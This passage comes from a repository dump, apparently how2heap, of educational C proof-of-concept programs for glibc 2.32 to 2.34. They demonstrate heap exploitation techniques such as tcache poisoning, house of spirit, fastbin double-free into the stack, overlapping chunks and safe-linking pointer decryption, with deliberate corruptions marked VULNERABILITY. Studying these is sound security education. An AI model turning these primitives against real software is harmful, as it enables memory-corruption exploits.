https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n" 22 | "which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n" 23 | "and the prev_size of it must match the unsortedbin's size\n" 24 | "This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n"); 25 | 26 | printf("Let's start to allocate 4 chunks on the heap\n"); 27 | 28 | p1 = malloc(0x80 - 8); 29 | p2 = malloc(0x500 - 8); 30 | p3 = malloc(0x80 - 8); 31 | 32 | printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3); 33 | 34 | memset(p1, '1', 0x80 - 8); 35 | memset(p2, '2', 0x500 - 8); 36 | memset(p3, '3', 0x80 - 8); 37 | 38 | printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); 39 | int evil_chunk_size = 0x581; 40 | int evil_region_size = 0x580 - 8; 41 | printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", 42 | evil_chunk_size, evil_region_size); 43 | 44 | /* VULNERABILITY */ 45 | *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 46 | /* VULNERABILITY */ 47 | 48 | printf("\nNow let's free the chunk p2\n"); 49 | free(p2); 50 | printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"); 51 | 52 | printf("\nNow let's allocate another chunk with a size equal to the data\n" 53 | "size of the chunk p2 injected size\n"); 54 | printf("This malloc will be served from the previously freed chunk that\n" 55 | "is parked in the unsorted bin which size has been modified by us\n"); 56 | p4 = malloc(evil_region_size); 57 | 58 | printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); 59 | printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8); 60 | printf("p4 should overlap with p3, in this case p4 includes all p3.\n"); 61 | 62 | printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," 63 | " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"); 64 | 65 | printf("Let's run through an example. Right now, we have:\n"); 66 | printf("p4 = %s\n", (char *)p4); 67 | printf("p3 = %s\n", (char *)p3); 68 | 69 | printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size); 70 | memset(p4, '4', evil_region_size); 71 | printf("p4 = %s\n", (char *)p4); 72 | printf("p3 = %s\n", (char *)p3); 73 | 74 | printf("\nAnd if we then memset(p3, '3', 80), we have:\n"); 75 | memset(p3, '3', 80); 76 | printf("p4 = %s\n", (char *)p4); 77 | printf("p3 = %s\n", (char *)p3); 78 | 79 | assert(strstr((char *)p4, (char *)p3)); 80 | } 81 | 82 | 83 | -------------------------------------------------------------------------------- /glibc_2.32/tcache_house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates the house of spirit attack on tcache.\n"); 10 | printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); 11 | printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); 12 | printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); 13 | 14 | printf("Ok. Let's start with the example!.\n\n"); 15 | 16 | 17 | printf("Calling malloc() once so that it sets up its memory.\n"); 18 | malloc(1); 19 | 20 | printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); 21 | unsigned long long *a; //pointer that will be overwritten 22 | unsigned long long fake_chunks[10]; //fake chunk region 23 | 24 | printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]); 25 | 26 | printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 27 | printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); 28 | fake_chunks[1] = 0x40; // this is the size 29 | 30 | 31 | printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); 32 | printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); 33 | 34 | a = &fake_chunks[2]; 35 | 36 | printf("Freeing the overwritten pointer.\n"); 37 | free(a); 38 | 39 | printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); 40 | void *b = malloc(0x30); 41 | printf("malloc(0x30): %p\n", b); 42 | 43 | assert((long)b == (long)&fake_chunks[2]); 44 | } 45 | -------------------------------------------------------------------------------- /glibc_2.32/tcache_poisoning.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main() 7 | { 8 | // disable buffering 9 | setbuf(stdin, NULL); 10 | setbuf(stdout, NULL); 11 | 12 | printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" 13 | "returning a pointer to an arbitrary location (in this case, the stack).\n" 14 | "The attack is very similar to fastbin corruption attack.\n"); 15 | printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" 16 | "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n"); 17 | printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n" 18 | "An heap address leak is needed to perform tcache poisoning.\n" 19 | "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n"); 20 | 21 | size_t stack_var[0x10]; 22 | size_t *target = NULL; 23 | 24 | // choose a properly aligned target address 25 | for(int i=0; i<0x10; i++) { 26 | if(((long)&stack_var[i] & 0xf) == 0) { 27 | target = &stack_var[i]; 28 | break; 29 | } 30 | } 31 | assert(target != NULL); 32 | 33 | printf("The address we want malloc() to return is %p.\n", target); 34 | 35 | printf("Allocating 2 buffers.\n"); 36 | intptr_t *a = malloc(128); 37 | printf("malloc(128): %p\n", a); 38 | intptr_t *b = malloc(128); 39 | printf("malloc(128): %p\n", b); 40 | 41 | printf("Freeing the buffers...\n"); 42 | free(a); 43 | free(b); 44 | 45 | printf("Now the tcache list has [ %p -> %p ].\n", b, a); 46 | printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" 47 | "to point to the location to control (%p).\n", sizeof(intptr_t), b, target); 48 | // VULNERABILITY 49 | // the following operation assumes the address of b is known, which requires a heap leak 50 | b[0] = (intptr_t)((long)target ^ (long)b >> 12); 51 | // VULNERABILITY 52 | printf("Now the tcache list has [ %p -> %p ].\n", b, target); 53 | 54 | printf("1st malloc(128): %p\n", malloc(128)); 55 | printf("Now the tcache list has [ %p ].\n", target); 56 | 57 | intptr_t *c = malloc(128); 58 | printf("2nd malloc(128): %p\n", c); 59 | printf("We got the control\n"); 60 | 61 | assert((long)target == (long)c); 62 | return 0; 63 | } 64 | -------------------------------------------------------------------------------- /glibc_2.33/decrypt_safe_linking.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | long decrypt(long cipher) 6 | { 7 | puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,"); 8 | puts("because of the 12bit sliding."); 9 | puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)"); 10 | long key = 0; 11 | long plain; 12 | 13 | for(int i=1; i<6; i++) { 14 | int bits = 64-12*i; 15 | if(bits < 0) bits = 0; 16 | plain = ((cipher ^ key) >> bits) << bits; 17 | key = plain >> 12; 18 | printf("round %d:\n", i); 19 | printf("key: %#016lx\n", key); 20 | printf("plain: %#016lx\n", plain); 21 | printf("cipher: %#016lx\n\n", cipher); 22 | } 23 | return plain; 24 | } 25 | 26 | int main() 27 | { 28 | /* 29 | * This technique demonstrates how to recover the original content from a poisoned 30 | * value because of the safe-linking mechanism. 31 | * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known 32 | * and the key (ASLR slide) is the same to the pointer's leading bits. 33 | * As a result, as long as the chunk where the pointer is stored is at the same page 34 | * of the pointer itself, the value of the pointer can be fully recovered. 35 | * Otherwise, we can also recover the pointer with the page-offset between the storer 36 | * and the pointer. What we demonstrate here is a special case whose page-offset is 0. 37 | * For demonstrations of other more general cases, plz refer to 38 | * https://github.com/n132/Dec-Safe-Linking 39 | */ 40 | 41 | setbuf(stdin, NULL); 42 | setbuf(stdout, NULL); 43 | 44 | // step 1: allocate chunks 45 | long *a = malloc(0x20); 46 | long *b = malloc(0x20); 47 | printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b); 48 | malloc(0x10); 49 | puts("And then create a padding chunk to prevent consolidation."); 50 | 51 | 52 | // step 2: free chunks 53 | puts("Now free chunk a and then free chunk b."); 54 | free(a); 55 | free(b); 56 | printf("Now the freelist is: [%p -> %p]\n", b, a); 57 | printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]); 58 | 59 | // step 3: recover the values 60 | puts("Now decrypt the poisoned value"); 61 | long plaintext = decrypt(b[0]); 62 | 63 | printf("value: %p\n", a); 64 | printf("recovered value: %#lx\n", plaintext); 65 | assert(plaintext == (long)a); 66 | } 67 | -------------------------------------------------------------------------------- /glibc_2.33/fastbin_dup.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates a simple double-free attack with fastbins.\n"); 10 | 11 | printf("Fill up tcache first.\n"); 12 | void *ptrs[8]; 13 | for (int i=0; i<8; i++) { 14 | ptrs[i] = malloc(8); 15 | } 16 | for (int i=0; i<7; i++) { 17 | free(ptrs[i]); 18 | } 19 | 20 | printf("Allocating 3 buffers.\n"); 21 | int *a = calloc(1, 8); 22 | int *b = calloc(1, 8); 23 | int *c = calloc(1, 8); 24 | 25 | printf("1st calloc(1, 8): %p\n", a); 26 | printf("2nd calloc(1, 8): %p\n", b); 27 | printf("3rd calloc(1, 8): %p\n", c); 28 | 29 | printf("Freeing the first one...\n"); 30 | free(a); 31 | 32 | printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 33 | // free(a); 34 | 35 | printf("So, instead, we'll free %p.\n", b); 36 | free(b); 37 | 38 | printf("Now, we can free %p again, since it's not the head of the free list.\n", a); 39 | free(a); 40 | 41 | printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); 42 | a = calloc(1, 8); 43 | b = calloc(1, 8); 44 | c = calloc(1, 8); 45 | printf("1st calloc(1, 8): %p\n", a); 46 | printf("2nd calloc(1, 8): %p\n", b); 47 | printf("3rd calloc(1, 8): %p\n", c); 48 | 49 | assert(a == c); 50 | } 51 | -------------------------------------------------------------------------------- /glibc_2.33/fastbin_dup_into_stack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" 8 | "returning a pointer to a controlled location (in this case, the stack).\n"); 9 | 10 | 11 | fprintf(stderr,"Fill up tcache first.\n"); 12 | 13 | void *ptrs[7]; 14 | 15 | for (int i=0; i<7; i++) { 16 | ptrs[i] = malloc(8); 17 | } 18 | for (int i=0; i<7; i++) { 19 | free(ptrs[i]); 20 | } 21 | 22 | 23 | unsigned long stack_var[4] __attribute__ ((aligned (0x10))); 24 | 25 | fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2); 26 | 27 | fprintf(stderr, "Allocating 3 buffers.\n"); 28 | int *a = calloc(1,8); 29 | int *b = calloc(1,8); 30 | int *c = calloc(1,8); 31 | 32 | fprintf(stderr, "1st calloc(1,8): %p\n", a); 33 | fprintf(stderr, "2nd calloc(1,8): %p\n", b); 34 | fprintf(stderr, "3rd calloc(1,8): %p\n", c); 35 | 36 | fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin 37 | free(a); 38 | 39 | fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 40 | 41 | fprintf(stderr, "So, instead, we'll free %p.\n", b); 42 | free(b); 43 | 44 | //Calling free(a) twice renders the program vulnerable to Double Free 45 | 46 | fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 47 | free(a); 48 | 49 | fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " 50 | "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); 51 | unsigned long *d = calloc(1,8); 52 | 53 | fprintf(stderr, "1st calloc(1,8): %p\n", d); 54 | fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); 55 | fprintf(stderr, "Now the free list has [ %p ].\n", a); 56 | fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" 57 | "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" 58 | "so that calloc will think there is a free chunk there and agree to\n" 59 | "return a pointer to it.\n", a); 60 | stack_var[1] = 0x20; 61 | 62 | fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); 63 | fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); 64 | fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); 65 | unsigned long ptr = (unsigned long)stack_var; 66 | unsigned long addr = (unsigned long) d; 67 | /*VULNERABILITY*/ 68 | *d = (addr >> 12) ^ ptr; 69 | /*VULNERABILITY*/ 70 | 71 | fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); 72 | 73 | void *p = calloc(1,8); 74 | 75 | fprintf(stderr, "4th calloc(1,8): %p\n", p); 76 | assert((unsigned long)p == (unsigned long)stack_var + 0x10); 77 | } 78 | -------------------------------------------------------------------------------- /glibc_2.33/house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | puts("This file demonstrates the house of spirit attack."); 10 | puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write."); 11 | puts("Required primitives: known target address, ability to set up the start/end of the target memory"); 12 | 13 | puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache"); 14 | void *chunks[7]; 15 | for(int i=0; i<7; i++) { 16 | chunks[i] = malloc(0x30); 17 | } 18 | for(int i=0; i<7; i++) { 19 | free(chunks[i]); 20 | } 21 | 22 | puts("\nStep 2: Prepare the fake chunk"); 23 | // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) 24 | long fake_chunks[10] __attribute__ ((aligned (0x10))); 25 | printf("The target fake chunk is at %p\n", fake_chunks); 26 | printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]); 27 | printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 28 | puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."); 29 | printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]); 30 | fake_chunks[1] = 0x40; // this is the size 31 | 32 | printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); 33 | printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]); 34 | fake_chunks[9] = 0x1234; // nextsize 35 | 36 | puts("\nStep 3: Free the first fake chunk"); 37 | puts("Note that the address of the fake chunk must be 16-byte aligned.\n"); 38 | void *victim = &fake_chunks[2]; 39 | free(victim); 40 | 41 | puts("\nStep 4: Take out the fake chunk"); 42 | printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]); 43 | printf("malloc can do the trick as well, you just need to do it for 8 times."); 44 | void *allocated = calloc(1, 0x30); 45 | printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim); 46 | 47 | assert(allocated == victim); 48 | } 49 | -------------------------------------------------------------------------------- /glibc_2.33/overlapping_chunks.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | A simple tale of overlapping chunk. 4 | This technique is taken from 5 | http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf 6 | 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | int main(int argc , char* argv[]) 16 | { 17 | setbuf(stdout, NULL); 18 | 19 | long *p1,*p2,*p3,*p4; 20 | printf("\nThis is another simple chunks overlapping problem\n"); 21 | printf("The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n" 22 | "which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n" 23 | "and the prev_size of it must match the unsortedbin's size\n" 24 | "This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n"); 25 | 26 | printf("Let's start to allocate 4 chunks on the heap\n"); 27 | 28 | p1 = malloc(0x80 - 8); 29 | p2 = malloc(0x500 - 8); 30 | p3 = malloc(0x80 - 8); 31 | 32 | printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3); 33 | 34 | memset(p1, '1', 0x80 - 8); 35 | memset(p2, '2', 0x500 - 8); 36 | memset(p3, '3', 0x80 - 8); 37 | 38 | printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); 39 | int evil_chunk_size = 0x581; 40 | int evil_region_size = 0x580 - 8; 41 | printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", 42 | evil_chunk_size, evil_region_size); 43 | 44 | /* VULNERABILITY */ 45 | *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 46 | /* VULNERABILITY */ 47 | 48 | printf("\nNow let's free the chunk p2\n"); 49 | free(p2); 50 | printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"); 51 | 52 | printf("\nNow let's allocate another chunk with a size equal to the data\n" 53 | "size of the chunk p2 injected size\n"); 54 | printf("This malloc will be served from the previously freed chunk that\n" 55 | "is parked in the unsorted bin which size has been modified by us\n"); 56 | p4 = malloc(evil_region_size); 57 | 58 | printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); 59 | printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8); 60 | printf("p4 should overlap with p3, in this case p4 includes all p3.\n"); 61 | 62 | printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," 63 | " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"); 64 | 65 | printf("Let's run through an example. Right now, we have:\n"); 66 | printf("p4 = %s\n", (char *)p4); 67 | printf("p3 = %s\n", (char *)p3); 68 | 69 | printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size); 70 | memset(p4, '4', evil_region_size); 71 | printf("p4 = %s\n", (char *)p4); 72 | printf("p3 = %s\n", (char *)p3); 73 | 74 | printf("\nAnd if we then memset(p3, '3', 80), we have:\n"); 75 | memset(p3, '3', 80); 76 | printf("p4 = %s\n", (char *)p4); 77 | printf("p3 = %s\n", (char *)p3); 78 | 79 | assert(strstr((char *)p4, (char *)p3)); 80 | } 81 | 82 | 83 | -------------------------------------------------------------------------------- /glibc_2.33/tcache_house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates the house of spirit attack on tcache.\n"); 10 | printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); 11 | printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); 12 | printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); 13 | 14 | printf("Ok. Let's start with the example!.\n\n"); 15 | 16 | 17 | printf("Calling malloc() once so that it sets up its memory.\n"); 18 | malloc(1); 19 | 20 | printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); 21 | unsigned long long *a; //pointer that will be overwritten 22 | unsigned long long fake_chunks[10]; //fake chunk region 23 | 24 | printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]); 25 | 26 | printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 27 | printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); 28 | fake_chunks[1] = 0x40; // this is the size 29 | 30 | 31 | printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); 32 | printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); 33 | 34 | a = &fake_chunks[2]; 35 | 36 | printf("Freeing the overwritten pointer.\n"); 37 | free(a); 38 | 39 | printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); 40 | void *b = malloc(0x30); 41 | printf("malloc(0x30): %p\n", b); 42 | 43 | assert((long)b == (long)&fake_chunks[2]); 44 | } 45 | -------------------------------------------------------------------------------- /glibc_2.33/tcache_poisoning.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main() 7 | { 8 | // disable buffering 9 | setbuf(stdin, NULL); 10 | setbuf(stdout, NULL); 11 | 12 | printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" 13 | "returning a pointer to an arbitrary location (in this case, the stack).\n" 14 | "The attack is very similar to fastbin corruption attack.\n"); 15 | printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" 16 | "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n"); 17 | printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n" 18 | "An heap address leak is needed to perform tcache poisoning.\n" 19 | "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n"); 20 | 21 | size_t stack_var[0x10]; 22 | size_t *target = NULL; 23 | 24 | // choose a properly aligned target address 25 | for(int i=0; i<0x10; i++) { 26 | if(((long)&stack_var[i] & 0xf) == 0) { 27 | target = &stack_var[i]; 28 | break; 29 | } 30 | } 31 | assert(target != NULL); 32 | 33 | printf("The address we want malloc() to return is %p.\n", target); 34 | 35 | printf("Allocating 2 buffers.\n"); 36 | intptr_t *a = malloc(128); 37 | printf("malloc(128): %p\n", a); 38 | intptr_t *b = malloc(128); 39 | printf("malloc(128): %p\n", b); 40 | 41 | printf("Freeing the buffers...\n"); 42 | free(a); 43 | free(b); 44 | 45 | printf("Now the tcache list has [ %p -> %p ].\n", b, a); 46 | printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" 47 | "to point to the location to control (%p).\n", sizeof(intptr_t), b, target); 48 | // VULNERABILITY 49 | // the following operation assumes the address of b is known, which requires a heap leak 50 | b[0] = (intptr_t)((long)target ^ (long)b >> 12); 51 | // VULNERABILITY 52 | printf("Now the tcache list has [ %p -> %p ].\n", b, target); 53 | 54 | printf("1st malloc(128): %p\n", malloc(128)); 55 | printf("Now the tcache list has [ %p ].\n", target); 56 | 57 | intptr_t *c = malloc(128); 58 | printf("2nd malloc(128): %p\n", c); 59 | printf("We got the control\n"); 60 | 61 | assert((long)target == (long)c); 62 | return 0; 63 | } 64 | -------------------------------------------------------------------------------- /glibc_2.34/decrypt_safe_linking.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | long decrypt(long cipher) 6 | { 7 | puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,"); 8 | puts("because of the 12bit sliding."); 9 | puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)"); 10 | long key = 0; 11 | long plain; 12 | 13 | for(int i=1; i<6; i++) { 14 | int bits = 64-12*i; 15 | if(bits < 0) bits = 0; 16 | plain = ((cipher ^ key) >> bits) << bits; 17 | key = plain >> 12; 18 | printf("round %d:\n", i); 19 | printf("key: %#016lx\n", key); 20 | printf("plain: %#016lx\n", plain); 21 | printf("cipher: %#016lx\n\n", cipher); 22 | } 23 | return plain; 24 | } 25 | 26 | int main() 27 | { 28 | /* 29 | * This technique demonstrates how to recover the original content from a poisoned 30 | * value because of the safe-linking mechanism. 31 | * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known 32 | * and the key (ASLR slide) is the same to the pointer's leading bits. 33 | * As a result, as long as the chunk where the pointer is stored is at the same page 34 | * of the pointer itself, the value of the pointer can be fully recovered. 35 | * Otherwise, we can also recover the pointer with the page-offset between the storer 36 | * and the pointer. What we demonstrate here is a special case whose page-offset is 0. 37 | * For demonstrations of other more general cases, plz refer to 38 | * https://github.com/n132/Dec-Safe-Linking 39 | */ 40 | 41 | setbuf(stdin, NULL); 42 | setbuf(stdout, NULL); 43 | 44 | // step 1: allocate chunks 45 | long *a = malloc(0x20); 46 | long *b = malloc(0x20); 47 | printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b); 48 | malloc(0x10); 49 | puts("And then create a padding chunk to prevent consolidation."); 50 | 51 | 52 | // step 2: free chunks 53 | puts("Now free chunk a and then free chunk b."); 54 | free(a); 55 | free(b); 56 | printf("Now the freelist is: [%p -> %p]\n", b, a); 57 | printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]); 58 | 59 | // step 3: recover the values 60 | puts("Now decrypt the poisoned value"); 61 | long plaintext = decrypt(b[0]); 62 | 63 | printf("value: %p\n", a); 64 | printf("recovered value: %#lx\n", plaintext); 65 | assert(plaintext == (long)a); 66 | } 67 | -------------------------------------------------------------------------------- /glibc_2.34/fastbin_dup.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates a simple double-free attack with fastbins.\n"); 10 | 11 | printf("Fill up tcache first.\n"); 12 | void *ptrs[8]; 13 | for (int i=0; i<8; i++) { 14 | ptrs[i] = malloc(8); 15 | } 16 | for (int i=0; i<7; i++) { 17 | free(ptrs[i]); 18 | } 19 | 20 | printf("Allocating 3 buffers.\n"); 21 | int *a = calloc(1, 8); 22 | int *b = calloc(1, 8); 23 | int *c = calloc(1, 8); 24 | 25 | printf("1st calloc(1, 8): %p\n", a); 26 | printf("2nd calloc(1, 8): %p\n", b); 27 | printf("3rd calloc(1, 8): %p\n", c); 28 | 29 | printf("Freeing the first one...\n"); 30 | free(a); 31 | 32 | printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 33 | // free(a); 34 | 35 | printf("So, instead, we'll free %p.\n", b); 36 | free(b); 37 | 38 | printf("Now, we can free %p again, since it's not the head of the free list.\n", a); 39 | free(a); 40 | 41 | printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); 42 | a = calloc(1, 8); 43 | b = calloc(1, 8); 44 | c = calloc(1, 8); 45 | printf("1st calloc(1, 8): %p\n", a); 46 | printf("2nd calloc(1, 8): %p\n", b); 47 | printf("3rd calloc(1, 8): %p\n", c); 48 | 49 | assert(a == c); 50 | } 51 | -------------------------------------------------------------------------------- /glibc_2.34/fastbin_dup_into_stack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" 8 | "returning a pointer to a controlled location (in this case, the stack).\n"); 9 | 10 | 11 | fprintf(stderr,"Fill up tcache first.\n"); 12 | 13 | void *ptrs[7]; 14 | 15 | for (int i=0; i<7; i++) { 16 | ptrs[i] = malloc(8); 17 | } 18 | for (int i=0; i<7; i++) { 19 | free(ptrs[i]); 20 | } 21 | 22 | 23 | unsigned long stack_var[4] __attribute__ ((aligned (0x10))); 24 | 25 | fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2); 26 | 27 | fprintf(stderr, "Allocating 3 buffers.\n"); 28 | int *a = calloc(1,8); 29 | int *b = calloc(1,8); 30 | int *c = calloc(1,8); 31 | 32 | fprintf(stderr, "1st calloc(1,8): %p\n", a); 33 | fprintf(stderr, "2nd calloc(1,8): %p\n", b); 34 | fprintf(stderr, "3rd calloc(1,8): %p\n", c); 35 | 36 | fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin 37 | free(a); 38 | 39 | fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 40 | 41 | fprintf(stderr, "So, instead, we'll free %p.\n", b); 42 | free(b); 43 | 44 | //Calling free(a) twice renders the program vulnerable to Double Free 45 | 46 | fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 47 | free(a); 48 | 49 | fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " 50 | "We'll now carry out 